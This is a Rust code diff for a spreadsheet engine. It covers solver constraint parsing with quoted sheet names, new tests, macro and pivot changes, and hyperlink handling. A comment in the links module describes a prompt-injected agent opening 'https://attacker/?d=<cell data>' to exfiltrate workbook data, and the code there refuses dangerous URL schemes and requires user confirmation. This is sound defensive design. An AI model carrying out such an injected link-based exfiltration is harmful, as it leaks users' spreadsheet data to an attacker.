gridcraft_core::parse::parse_number_text(t.trim()).filter(|v| v.is_finite())
|
||||
}
|
||||
|
||||
/// Splits `"B5 <= 10"` / `"B2 int"` into (lhs, relation, rhs).
|
||||
/// `t` split at the first `pat` outside quoted sheet names: `'A<=B'!$C$1 <= 5` splits at the
|
||||
/// second `<=`. A doubled quote inside a name (`'O''Brien<=1'!A1`) toggles the quoted state
|
||||
/// twice, as in [`split_areas`], so it doesn't end the name.
|
||||
fn split_unquoted<'a>(t: &'a str, pat: &str) -> Option<(&'a str, &'a str)> {
|
||||
let mut quoted = false;
|
||||
for (i, c) in t.char_indices() {
|
||||
if c == '\'' {
|
||||
quoted = !quoted;
|
||||
} else if !quoted && t.get(i..).is_some_and(|rest| rest.starts_with(pat)) {
|
||||
return Some((t.get(..i)?, t.get(i.saturating_add(pat.len())..)?));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Splits `"B5 <= 10"` / `"B2 int"` into (lhs, relation, rhs). A relation's characters inside
|
||||
/// a quoted sheet name (`'A<=B'!$C$1 <= 5`) are part of the name.
|
||||
fn split_constraint(t: &str) -> Option<(String, Rel, String)> {
|
||||
for op in ["<=", ">=", "=<", "=>", "≤", "≥", "=="] {
|
||||
if let Some((a, b)) = t.split_once(op) {
|
||||
if let Some((a, b)) = split_unquoted(t, op) {
|
||||
return Some((a.trim().into(), Rel::parse(op)?, b.trim().into()));
|
||||
}
|
||||
}
|
||||
if let Some((a, b)) = t.split_once('=') {
|
||||
if let Some((a, b)) = split_unquoted(t, "=") {
|
||||
return Some((a.trim().into(), Rel::Eq, b.trim().into()));
|
||||
}
|
||||
let lower = t.trim().to_ascii_lowercase();
|
||||
@@ -337,8 +356,8 @@ pub fn sensitivity_applies(p: &Json) -> bool {
|
||||
/// `"B2:B4,D1"` as absolute references, each qualified by `sheet_name` when given.
|
||||
fn abs_text(sheet_name: Option<&str>, cells: &str) -> String {
|
||||
let q = sheet_name.map(|n| format!("{}!", crate::pivot::quote_sheet(n))).unwrap_or_default();
|
||||
cells
|
||||
.split(',')
|
||||
split_areas(cells)
|
||||
.into_iter()
|
||||
.map(str::trim)
|
||||
.filter(|x| !x.is_empty())
|
||||
.filter_map(|part| {
|
||||
@@ -446,7 +465,7 @@ pub fn saved_model(wb: &Workbook, sheet: usize) -> Option<Json> {
|
||||
let named = |n: &str, scope: Option<usize>| wb.names.iter().find(|d| d.name.eq_ignore_ascii_case(n) && d.scope == scope);
|
||||
let scope = if named("solver_opt", Some(sheet)).is_some() { Some(sheet) } else { None };
|
||||
let get = |n: &str| named(n, scope).map(|d| d.formula.trim().trim_start_matches('=').to_string());
|
||||
let local = |t: String| -> String { t.split(',').map(|p| split_sheet(p.trim()).1.replace('$', "")).collect::<Vec<_>>().join(",") };
|
||||
let local = |t: String| local_refs(&t);
|
||||
let objective = local(get("solver_opt")?);
|
||||
if objective.trim_matches('"').trim().is_empty() {
|
||||
return None;
|
||||
@@ -555,7 +574,8 @@ pub(super) fn model_params(wb: &Workbook, m: &Model) -> Json {
|
||||
|
||||
/// The cells Save Model writes, top to bottom, as formula text.
|
||||
pub(super) fn model_formulas(m: &Model) -> Result<Vec<String>> {
|
||||
let one_area = |t: &str| !t.contains(',');
|
||||
// A comma inside a quoted sheet name (`'Sales, West'!$A$1`) doesn't start another area.
|
||||
let one_area = |t: &str| split_areas(t).into_iter().filter(|a| !a.trim().is_empty()).count() <= 1;
|
||||
let mut rows = Vec::with_capacity(m.cons.len() + 3);
|
||||
let obj = abs_text(None, &m.objective.a1());
|
||||
rows.push(match m.goal {
|
||||
@@ -565,7 +585,8 @@ pub(super) fn model_formulas(m: &Model) -> Result<Vec<String>> {
|
||||
});
|
||||
rows.push(format!("=COUNT({})", abs_text(None, &m.vars_text)));
|
||||
for c in &m.cons {
|
||||
if !one_area(&c.lhs_text) || !one_area(&c.rhs_text) {
|
||||
// A number on the right side (`1,000`) is no range, whatever its separators.
|
||||
if !one_area(&c.lhs_text) || (matches!(c.rhs, Rhs::Cells(_)) && !one_area(&c.rhs_text)) {
|
||||
return Err(EngineError::Other("Save Model needs each side of a constraint to be one range.".into()));
|
||||
}
|
||||
let lhs = abs_text(None, &c.lhs_text);
|
||||
@@ -608,7 +629,7 @@ fn call_args(t: &str, name: &str) -> Option<String> {
|
||||
|
||||
/// References without sheet names or `$`.
|
||||
fn local_refs(t: &str) -> String {
|
||||
t.split(',').map(|p| split_sheet(p.trim()).1.replace('$', "")).collect::<Vec<_>>().join(",")
|
||||
split_areas(t).into_iter().map(|p| split_sheet(p.trim()).1.replace('$', "")).collect::<Vec<_>>().join(",")
|
||||
}
|
||||
|
||||
fn not_a_model() -> EngineError {
|
||||
@@ -670,13 +691,13 @@ fn read_options_row(model: &mut Json, list: &str) -> Result<()> {
|
||||
/// One constraint row of Save Model (`AND(relation)`) as a `data.solver` constraint.
|
||||
fn read_constraint_row(t: String) -> Result<String> {
|
||||
let t = call_args(&t, "AND").unwrap_or(t);
|
||||
if let Some((x, y)) = t.split_once("=INT(").or_else(|| t.split_once("=int(")) {
|
||||
if let Some((x, y)) = split_unquoted(&t, "=INT(").or_else(|| split_unquoted(&t, "=int(")) {
|
||||
if y.strip_suffix(')') != Some(x) {
|
||||
return Err(not_a_model());
|
||||
}
|
||||
return Ok(format!("{} int", local_refs(x)));
|
||||
}
|
||||
if let Some(x) = t.strip_prefix('(').and_then(|x| x.strip_suffix("=1)")).and_then(|x| x.split_once("=0)+(")).filter(|(a, b)| a == b) {
|
||||
if let Some(x) = t.strip_prefix('(').and_then(|x| x.strip_suffix("=1)")).and_then(|x| split_unquoted(x, "=0)+(")).filter(|(a, b)| a == b) {
|
||||
return Ok(format!("{} bin", local_refs(x.0)));
|
||||
}
|
||||
let (l, rel, r) = split_constraint(&t).ok_or_else(not_a_model)?;
|
||||
@@ -698,7 +719,7 @@ pub(super) fn parse_model_formulas(rows: &[String]) -> Result<Json> {
|
||||
} else if let Some(o) = call_args(&first, "MIN") {
|
||||
("min", o, 0.0)
|
||||
} else {
|
||||
let (o, v) = first.split_once('=').ok_or_else(not_a_model)?;
|
||||
let (o, v) = split_unquoted(&first, "=").ok_or_else(not_a_model)?;
|
||||
("value", o.to_string(), num_text(v).ok_or_else(not_a_model)?)
|
||||
};
|
||||
let variables = call_args(&body(rows.get(1).ok_or_else(not_a_model)?), "COUNT").ok_or_else(not_a_model)?;
|
||||
|
||||
@@ -1819,3 +1819,133 @@ fn hostile_models_are_refused_without_panicking() {
|
||||
let r = s.execute("data.solver", json!({"objective": "D1", "variables": "A1", "maxEvaluations": 1e300})).unwrap();
|
||||
assert_ne!(r["status"], "converged");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_comma_inside_a_quoted_sheet_name_does_not_split_a_reference() {
|
||||
// Wyndor Glass on sheets whose names hold a comma (and, for the second, a doubled quote),
|
||||
// solved from Sheet1 with references that carry those names.
|
||||
for (name, quoted) in [("Sales, West", "'Sales, West'"), ("O'Brien, Jr", "'O''Brien, Jr'")] {
|
||||
let mut s = s();
|
||||
s.execute("home.insertSheet", json!({"name": name, "before": 1})).unwrap();
|
||||
s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
|
||||
set(&mut s, &[("A1", "0"), ("A2", "0"), ("B1", "=3*A1+5*A2"), ("B2", "=2*A2"), ("B3", "=3*A1+2*A2")]);
|
||||
s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
|
||||
let r = s
|
||||
.execute(
|
||||
"data.solver",
|
||||
json!({
|
||||
"objective": format!("{quoted}!$B$1"),
|
||||
"goal": "max",
|
||||
"variables": format!("{quoted}!$A$1,{quoted}!$A$2"),
|
||||
"constraints": [format!("{quoted}!$A$1 <= 4"), format!("{quoted}!$B$2 <= 12"), format!("{quoted}!$B$3 <= 18")],
|
||||
"method": "simplex",
|
||||
}),
|
||||
)
|
||||
.unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
assert_eq!(r["status"], "optimal", "{name}: {r}");
|
||||
let sheet = &s.doc().unwrap().wb.sheets[1];
|
||||
let v = |a: &str| sheet.value(CellRef::parse(a).unwrap()).as_f64().unwrap_or(f64::NAN);
|
||||
assert!((v("A1") - 2.0).abs() < 1e-9 && (v("A2") - 6.0).abs() < 1e-9, "{name}");
|
||||
assert!((v("B1") - 36.0).abs() < 1e-9, "{name}");
|
||||
// The saved model keeps both variable cells, and loads back as the same model.
|
||||
let model = super::saved_model(&s.doc().unwrap().wb, 1).unwrap_or_else(|| panic!("{name}: no saved model"));
|
||||
assert_eq!(model["objective"], "B1", "{name}: {model}");
|
||||
assert_eq!(model["variables"], "A1,A2", "{name}: {model}");
|
||||
assert_eq!(model["constraints"][0], "A1 <= 4", "{name}: {model}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_relation_inside_a_quoted_sheet_name_does_not_split_a_constraint() {
|
||||
// Wyndor Glass with a third, binary variable (Z = 37 at 2, 6, 1) on sheets whose names hold
|
||||
// a relation, solved from Sheet1 with references that carry those names, under every
|
||||
// relation. One name holds a doubled quote as well, and two the text that marks an integer
|
||||
// or a binary constraint in a model written on cells.
|
||||
for name in ["A<=B", "A>=B", "A=B", "Q1=<Q2", "x≤y", "O'Brien<=1", "n=INT(1", "n=0)+(1"] {
|
||||
let q = gridcraft_core::quote_sheet(name);
|
||||
let mut s = s();
|
||||
s.execute("home.insertSheet", json!({"name": name, "before": 1})).unwrap();
|
||||
s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
|
||||
set(&mut s, &[("A1", "0"), ("A2", "0"), ("A3", "0"), ("B1", "=3*A1+5*A2+A3"), ("B2", "=2*A2"), ("B3", "=3*A1+2*A2")]);
|
||||
s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
|
||||
let constraints = [
|
||||
format!("{q}!$A$1 <= 4"),
|
||||
format!("{q}!$B$2 <= 12"),
|
||||
format!("{q}!$B$3 <= 18"),
|
||||
format!("{q}!$A$1 >= 1"),
|
||||
format!("{q}!$A$1 = 2"),
|
||||
format!("{q}!$A$1:$A$2 int"),
|
||||
format!("{q}!$A$3 bin"),
|
||||
];
|
||||
let model = json!({"objective": format!("{q}!$B$1"), "goal": "max", "variables": format!("{q}!$A$1:$A$3"), "constraints": constraints, "method": "simplex"});
|
||||
let r = s.execute("data.solver", model).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
assert_eq!(r["status"], "optimal", "{name}: {r}");
|
||||
assert!((at(&s, name, "B1").as_f64().unwrap_or(f64::NAN) - 37.0).abs() < 1e-9, "{name}");
|
||||
// The saved model holds every constraint whole, and solves again from its sheet.
|
||||
let saved = super::saved_model(&s.doc().unwrap().wb, 1).unwrap_or_else(|| panic!("{name}: no saved model"));
|
||||
assert_eq!(saved["constraints"], json!(["A1 <= 4", "B2 <= 12", "B3 <= 18", "A1 >= 1", "A1 = 2", "A1:A2 int", "A3 bin"]), "{name}: {saved}");
|
||||
s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
|
||||
set(&mut s, &[("A1", "0"), ("A2", "0"), ("A3", "0")]);
|
||||
let r = s.execute("data.solver", json!({"saved": true})).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
assert_eq!(r["status"], "optimal", "{name}: {r}");
|
||||
assert!((n(&s, "B1") - 37.0).abs() < 1e-9, "{name}");
|
||||
// An integer constraint is still one, so no Sensitivity report is offered.
|
||||
let p = json!({"method": "simplex", "constraints": [format!("{q}!$A$1 int")]});
|
||||
assert!(!super::sensitivity_applies(&p), "{name}");
|
||||
// A model written on cells with references that carry the name loads whole, a Value Of
|
||||
// goal included.
|
||||
let rows = [
|
||||
format!("=MAX({q}!$B$1)"),
|
||||
format!("=COUNT({q}!$A$1:$A$3)"),
|
||||
format!("=AND({q}!$B$3<=18)"),
|
||||
format!("=AND({q}!$A$1:$A$2=INT({q}!$A$1:$A$2))"),
|
||||
format!("=AND(({q}!$A$3=0)+({q}!$A$3=1))"),
|
||||
"={2,1,100,0.075,0,1,0.0001,50,20000,0}".to_string(),
|
||||
];
|
||||
for (k, f) in rows.iter().enumerate() {
|
||||
set(&mut s, &[(&format!("H{}", k + 1), f)]);
|
||||
}
|
||||
let m = s.execute("data.solverLoadModel", json!({"from": "H1"})).unwrap_or_else(|e| panic!("{name}: {e}"))["model"].clone();
|
||||
assert_eq!(m["objective"], "B1", "{name}: {m}");
|
||||
assert_eq!(m["constraints"], json!(["B3 <= 18", "A1:A2 int", "A3 bin"]), "{name}: {m}");
|
||||
set(&mut s, &[("J1", &format!("={q}!$B$1=37")), ("J2", &format!("=COUNT({q}!$A$1:$A$3)")), ("J3", &rows[5])]);
|
||||
let m = s.execute("data.solverLoadModel", json!({"from": "J1"})).unwrap_or_else(|e| panic!("{name}: {e}"))["model"].clone();
|
||||
assert_eq!((m["objective"].as_str(), m["goal"].as_str(), m["value"].as_f64()), (Some("B1"), Some("value"), Some(37.0)), "{name}: {m}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn save_model_counts_areas_outside_quoted_sheet_names() {
|
||||
// Wyndor Glass on a sheet whose name holds a comma (and, for the second, a doubled quote),
|
||||
// saved on cells with references that carry the name.
|
||||
for name in ["Sales, West", "O'Brien, Jr"] {
|
||||
let q = gridcraft_core::quote_sheet(name);
|
||||
let mut s = s();
|
||||
s.execute("home.insertSheet", json!({"name": name, "before": 1})).unwrap();
|
||||
s.execute("sheet.activate", json!({"sheet": 1})).unwrap();
|
||||
set(&mut s, &[("A1", "0"), ("A2", "0"), ("B1", "=3*A1+5*A2"), ("B2", "=2*A2"), ("B3", "=3*A1+2*A2"), ("C3", "18")]);
|
||||
let constraints = [
|
||||
format!("{q}!$A$1 <= 4"),
|
||||
format!("{q}!$B$2 <= 12"),
|
||||
format!("{q}!$B$3 <= {q}!$C$3"),
|
||||
format!("{q}!$A$1:$A$2 int"),
|
||||
// A number with a thousands separator is one value, not two areas.
|
||||
format!("{q}!$B$1 <= 1,000"),
|
||||
];
|
||||
let model = json!({"objective": format!("{q}!$B$1"), "variables": format!("{q}!$A$1:$A$2"), "constraints": constraints, "method": "simplex"});
|
||||
let out = s.execute("data.solverSaveModel", json!({"to": "H1", "model": model})).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
assert_eq!(out["range"], "H1:H8", "{name}: {out}");
|
||||
let rows: Vec<String> = (3..=7).map(|r| formula(&s, &format!("H{r}"))).collect();
|
||||
assert_eq!(rows, ["AND($A$1<=4)", "AND($B$2<=12)", "AND($B$3<=$C$3)", "AND($A$1:$A$2=INT($A$1:$A$2))", "AND($B$1<=1000)"], "{name}");
|
||||
// The model loads back from the cells and solves.
|
||||
let loaded = s.execute("data.solverLoadModel", json!({"from": "H1"})).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
assert_eq!(loaded["model"]["constraints"], json!(["A1 <= 4", "B2 <= 12", "B3 <= C3", "A1:A2 int", "B1 <= 1000"]), "{name}: {loaded}");
|
||||
let r = s.execute("data.solver", json!({"saved": true})).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
assert_eq!(r["status"], "optimal", "{name}: {r}");
|
||||
assert!((n(&s, "B1") - 36.0).abs() < 1e-9, "{name}");
|
||||
// A side of two areas, each carrying the name, is still refused.
|
||||
let two = json!({"objective": format!("{q}!$B$1"), "variables": format!("{q}!$A$1:$A$2"), "constraints": [format!("{q}!$A$1:$A$2 <= {q}!$C$1,{q}!$C$2")]});
|
||||
let e = s.execute("data.solverSaveModel", json!({"to": "J1", "model": two})).unwrap_err().to_string();
|
||||
assert!(e.contains("one range"), "{name}: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -575,20 +575,9 @@ pub fn series(cx: &mut Ctx, sheet: usize, options: SeriesOptions<'_>) -> Result<
|
||||
match (unit, d) {
|
||||
("month", Some(_)) => (step as i64).checked_mul(i as i64).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v),
|
||||
("year", Some(_)) => (step as i64).checked_mul(i as i64 * 12).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v),
|
||||
("weekday", Some(_)) => {
|
||||
let mut n = v;
|
||||
let mut left = step.abs() as i64;
|
||||
while left > 0 {
|
||||
n += step.signum();
|
||||
let Some(day) = datetime_from_serial(sys, n) else {
|
||||
return Err(crate::EngineError::Other("The weekday series runs past the supported date range.".into()));
|
||||
};
|
||||
if day.weekday != 0 && day.weekday != 6 {
|
||||
left -= 1;
|
||||
}
|
||||
}
|
||||
n
|
||||
}
|
||||
// Whole weeks at a time: a huge step costs no more than a small one.
|
||||
("weekday", Some(_)) => add_weekdays(sys, v, step as i64)
|
||||
.ok_or_else(|| crate::EngineError::Other("The weekday series runs past the supported date range.".into()))?,
|
||||
_ => v + step,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -123,12 +123,13 @@ fn decrypt_message(name: &str, e: gridcraft_xlsx::DecryptError) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// Parses bytes that aren't encrypted, then takes the workbook's macros out of their hidden names
|
||||
/// and adopts the Python cells they hold (see [`adopt_python`]) within the limits of
|
||||
/// [`enforce_python_limits`].
|
||||
/// Parses bytes that aren't encrypted, then takes the workbook's macros, and the button actions
|
||||
/// xlsx has no place for, out of their hidden names, and adopts the Python cells they hold (see
|
||||
/// [`adopt_python`]) within the limits of [`enforce_python_limits`].
|
||||
fn open_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, Vec<String>)> {
|
||||
let (mut wb, mut warnings) = read_plain(name, bytes, csv_as_text)?;
|
||||
warnings.extend(crate::macros::load(&mut wb));
|
||||
crate::cmd::controls::load_action_names(&mut wb);
|
||||
warnings.extend(adopt_python(&mut wb));
|
||||
warnings.extend(enforce_python_limits(&mut wb));
|
||||
Ok((wb, warnings))
|
||||
@@ -493,9 +494,13 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result<Vec<u8
|
||||
match kind {
|
||||
// The extension picks the package kind; only the macro-enabled kinds (.xlsm, .xltm) carry
|
||||
// the VBA project, so any other name saves without it, as Excel does.
|
||||
// Macros travel in hidden names.
|
||||
// Macros, and button actions xlsx has no place for, travel in hidden names.
|
||||
FileKind::Xlsx => {
|
||||
let named = crate::macros::with_names(wb)?;
|
||||
let named = match crate::cmd::controls::with_action_names(named.as_ref().unwrap_or(wb))? {
|
||||
Some(w) => Some(w),
|
||||
None => named,
|
||||
};
|
||||
let book = std::path::Path::new(path).file_name().and_then(std::ffi::OsStr::to_str).unwrap_or_default();
|
||||
gridcraft_xlsx::write_xlsx_named(named.as_ref().unwrap_or(wb), gridcraft_xlsx::XlsxKind::from_path(path), book)
|
||||
.map_err(|e| EngineError::Other(e.to_string()))
|
||||
|
||||
@@ -514,6 +514,9 @@ pub struct Session {
|
||||
/// Review › Notes › Show All Notes: every note is displayed. An application display setting
|
||||
/// (like Excel's comment indicator option), so it's not saved in the file.
|
||||
pub show_all_notes: bool,
|
||||
/// Whether `link.open` may open web and e-mail addresses without the user's confirmation
|
||||
/// (#2181). Host code sets it; no command does.
|
||||
pub link_policy: links::LinkPolicy,
|
||||
/// Open undo groups, innermost last.
|
||||
groups: Vec<OpenGroup>,
|
||||
next_group: u64,
|
||||
|
||||
@@ -2,8 +2,50 @@
|
||||
//! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the
|
||||
//! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and
|
||||
//! the like are refused. Everything without a scheme stays an in-workbook reference.
|
||||
//!
|
||||
//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by
|
||||
//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open
|
||||
//! `https://attacker/?d=<cell data>`. Under the default [`LinkPolicy::Confirm`] the command refuses
|
||||
//! external addresses; only the host, after showing the address and getting OK from the user,
|
||||
//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches.
|
||||
|
||||
use gridcraft_core::RangeRef;
|
||||
use serde_json::{Value as Json, json};
|
||||
|
||||
use crate::{EngineError, Result, Session, UiRequest};
|
||||
|
||||
/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without
|
||||
/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it.
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
|
||||
pub enum LinkPolicy {
|
||||
/// `link.open` refuses external addresses; the user opens them by clicking the link, which
|
||||
/// asks first ([`Session::open_confirmed_link`]). References still navigate.
|
||||
#[default]
|
||||
Confirm,
|
||||
/// The host trusts every caller of this session (an embedding that vets requests itself):
|
||||
/// `link.open` opens allowed addresses directly. Disallowed schemes stay refused.
|
||||
Allow,
|
||||
}
|
||||
|
||||
/// The error a programmatic `link.open` of a web or e-mail address returns.
|
||||
pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them.";
|
||||
|
||||
impl Session {
|
||||
/// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed
|
||||
/// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is
|
||||
/// refused ([`classify`]). Not a command: only host code that showed the user this exact
|
||||
/// address may call it.
|
||||
pub fn open_confirmed_link(&mut self, target: &str) -> Result<Json> {
|
||||
match classify(target) {
|
||||
LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})),
|
||||
LinkKind::External(u) => {
|
||||
self.ui_requests.push(UiRequest::OpenUrl(u.clone()));
|
||||
Ok(json!({"opened": u}))
|
||||
}
|
||||
LinkKind::Refused(why) => Err(EngineError::Other(why)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a link target is.
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
|
||||
@@ -38,6 +38,7 @@ const DENIED: &[(&str, &str)] = &[
|
||||
("view.newWindow", "macros don't open, hide or show windows"),
|
||||
("view.hideWindow", "macros don't open, hide or show windows"),
|
||||
("view.unhideWindow", "macros don't open, hide or show windows"),
|
||||
("control.press", "macros don't press form controls"),
|
||||
];
|
||||
|
||||
/// Commands under a denied prefix that only change the workbook.
|
||||
@@ -112,6 +113,7 @@ mod tests {
|
||||
"view.newWindow",
|
||||
"view.hideWindow",
|
||||
"view.unhideWindow",
|
||||
"control.press",
|
||||
] {
|
||||
assert!(matches!(macro_policy(id, &none, Trust::Local), Policy::Deny(_)), "{id}");
|
||||
assert!(matches!(macro_policy(id, &path, Trust::FromFile), Policy::Deny(_)), "{id}");
|
||||
|
||||
@@ -23,7 +23,7 @@ use std::sync::Arc;
|
||||
|
||||
use gridcraft_core::{CellRef, RangeRef, Value};
|
||||
use gridcraft_formula::adjust::Edit;
|
||||
use gridcraft_model::{Cell, CompareOp, InputKind, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook};
|
||||
use gridcraft_model::{Cell, CompareOp, InputKind, MAX_MACRO_REF, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook};
|
||||
use serde::Serialize;
|
||||
use serde_json::{Value as Json, json};
|
||||
|
||||
@@ -539,7 +539,8 @@ impl Guard {
|
||||
}
|
||||
objects += deleted(&ss.charts, &ps.charts, &sa.charts, |o| o.id)
|
||||
+ deleted(&ss.images, &ps.images, &sa.images, |o| o.id)
|
||||
+ deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id);
|
||||
+ deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id)
|
||||
+ deleted(&ss.controls, &ps.controls, &sa.controls, |o| o.id);
|
||||
}
|
||||
if objects > 0 {
|
||||
parts.push(format!("{objects} object{}", if objects == 1 { "" } else { "s" }));
|
||||
@@ -1285,7 +1286,12 @@ fn objects(b: &Sheet, a: &Sheet) -> (usize, usize, usize) {
|
||||
let changed = b.iter().filter(|x| a.iter().any(|y| id(y) == id(x) && y != *x)).count();
|
||||
(added, changed, removed)
|
||||
}
|
||||
let parts = [count(&b.charts, &a.charts, |o| o.id), count(&b.images, &a.images, |o| o.id), count(&b.shapes, &a.shapes, |o| o.id)];
|
||||
let parts = [
|
||||
count(&b.charts, &a.charts, |o| o.id),
|
||||
count(&b.images, &a.images, |o| o.id),
|
||||
count(&b.shapes, &a.shapes, |o| o.id),
|
||||
count(&b.controls, &a.controls, |o| o.id),
|
||||
];
|
||||
parts.iter().fold((0, 0, 0), |t, p| (t.0 + p.0, t.1 + p.1, t.2 + p.2))
|
||||
}
|
||||
|
||||
@@ -1393,6 +1399,7 @@ pub fn begin(s: &mut Session, name: &str, p: &Json) -> Result<Begun> {
|
||||
check_params(p, &m)?;
|
||||
let asks = gate(&m, trust)?;
|
||||
approve(s, &m, doc, &asks, p.get("approve").and_then(Json::as_bool).unwrap_or(false))?;
|
||||
let m = with_output(m, p);
|
||||
let prepared = prepare(s, &m, p.get("inputs"))?;
|
||||
let rule = conflict_rule(p, &m)?;
|
||||
let time_limit_ms = time_limit(p);
|
||||
@@ -1493,9 +1500,21 @@ pub fn run(s: &mut Session, name: &str, p: &Json) -> Result<Json> {
|
||||
})
|
||||
}
|
||||
|
||||
/// `m` with the run's `output` (a form button that sends the output elsewhere) in place of its own
|
||||
/// output anchor, after the policy and the approval, which go by the macro as it is stored. The
|
||||
/// anchor is resolved and checked by [`prepare`] like the macro's own, and the footprint, the
|
||||
/// conflict rule and the per-step guard all work on the cells it names.
|
||||
fn with_output(mut m: Macro, p: &Json) -> Macro {
|
||||
if let Some(o) = p.get("output").and_then(Json::as_str).map(str::trim).filter(|o| !o.is_empty()) {
|
||||
m.output.anchor = Some(o.to_string());
|
||||
}
|
||||
m
|
||||
}
|
||||
|
||||
/// Refuses run parameters that would otherwise be ignored: an input the macro doesn't have, an
|
||||
/// input given as something other than reference text, and `onConflict`, `overwrite`, `approve`
|
||||
/// or `timeLimit` of the wrong kind (`null` counts as not given).
|
||||
/// input given as something other than reference text, `onConflict`, `overwrite`, `approve` or
|
||||
/// `timeLimit` of the wrong kind, and an `output` that isn't reference text of at most
|
||||
/// `MAX_MACRO_REF` characters (`null` counts as not given).
|
||||
pub fn check_params(p: &Json, m: &Macro) -> Result<()> {
|
||||
let refuse = |msg: String| Err(EngineError::Other(format!("Macro '{}': {msg}", m.name)));
|
||||
let names = || m.inputs.iter().map(|i| i.name.clone()).collect::<Vec<_>>().join(", ");
|
||||
@@ -1528,6 +1547,12 @@ pub fn check_params(p: &Json, m: &Macro) -> Result<()> {
|
||||
return refuse(format!("`{k}` must be true or false."));
|
||||
}
|
||||
}
|
||||
if let Some(o) = given("output") {
|
||||
let ok = o.as_str().map(str::trim).is_some_and(|t| !t.is_empty() && t.chars().count() <= MAX_MACRO_REF && !t.chars().any(char::is_control));
|
||||
if !ok {
|
||||
return refuse(format!("`output` must be reference text of at most {MAX_MACRO_REF} characters, such as \"F2\" or \"Sheet2!F2\"."));
|
||||
}
|
||||
}
|
||||
if given("timeLimit").is_some_and(|v| !v.as_f64().is_some_and(|t| t > 0.0)) {
|
||||
return refuse("`timeLimit` must be a number of seconds above 0.".into());
|
||||
}
|
||||
@@ -1604,7 +1629,7 @@ pub fn check(s: &mut Session, name: &str, p: &Json) -> Result<Json> {
|
||||
// Nothing from an unapproved macro runs, not even in a dry run.
|
||||
out["needsApproval"] = json!(asks);
|
||||
}
|
||||
let prepared = match prepare(s, &m, p.get("inputs")) {
|
||||
let prepared = match prepare(s, &with_output(m, p), p.get("inputs")) {
|
||||
Ok(pr) => pr,
|
||||
Err(e) => return refused(out, e.to_string()),
|
||||
};
|
||||
|
||||
@@ -77,6 +77,8 @@ struct AggregateInput<'a> {
|
||||
extra: &'a [usize],
|
||||
filters: &'a [(usize, &'a PivotFilter, PivotDateGroup, bool)],
|
||||
filter_fmts: &'a [String],
|
||||
/// Each filter's selected labels, ASCII-lowercased, so a record's test is one probe.
|
||||
filter_sets: &'a [Option<HashSet<String>>],
|
||||
row_fmts: &'a [String],
|
||||
col_fmts: &'a [String],
|
||||
empty: bool,
|
||||
@@ -99,10 +101,10 @@ fn aggregate_record(
|
||||
ri: usize,
|
||||
rec: &[Value],
|
||||
) -> Result<(), String> {
|
||||
for ((c, field, group, _), fmt) in input.filters.iter().zip(input.filter_fmts) {
|
||||
if let Some(selected) = &field.selected {
|
||||
for (((c, _, group, _), fmt), selected) in input.filters.iter().zip(input.filter_fmts).zip(input.filter_sets) {
|
||||
if let Some(selected) = selected {
|
||||
let label = item_label(input.wb, rec.get(*c).unwrap_or(&Value::Empty), *group, fmt);
|
||||
if !selected.iter().any(|value| value.eq_ignore_ascii_case(&label)) {
|
||||
if !selected.contains(&label.to_ascii_lowercase()) {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
@@ -475,6 +477,8 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro
|
||||
|
||||
// ---- aggregate
|
||||
let filter_fmts: Vec<String> = filters.iter().map(|f| fmt_of(f.0)).collect();
|
||||
let filter_sets: Vec<Option<HashSet<String>>> =
|
||||
filters.iter().map(|(_, field, _, _)| field.selected.as_ref().map(|s| s.iter().map(|v| v.to_ascii_lowercase()).collect())).collect();
|
||||
let row_fmts: Vec<String> = rows.iter().map(|(c, _)| fmt_of(*c)).collect();
|
||||
let col_fmts: Vec<String> = cols.iter().map(|(c, _)| fmt_of(*c)).collect();
|
||||
let aggregate = aggregate_source(
|
||||
@@ -488,6 +492,7 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro
|
||||
extra: &extra,
|
||||
filters: &filters,
|
||||
filter_fmts: &filter_fmts,
|
||||
filter_sets: &filter_sets,
|
||||
row_fmts: &row_fmts,
|
||||
col_fmts: &col_fmts,
|
||||
empty,
|
||||
|
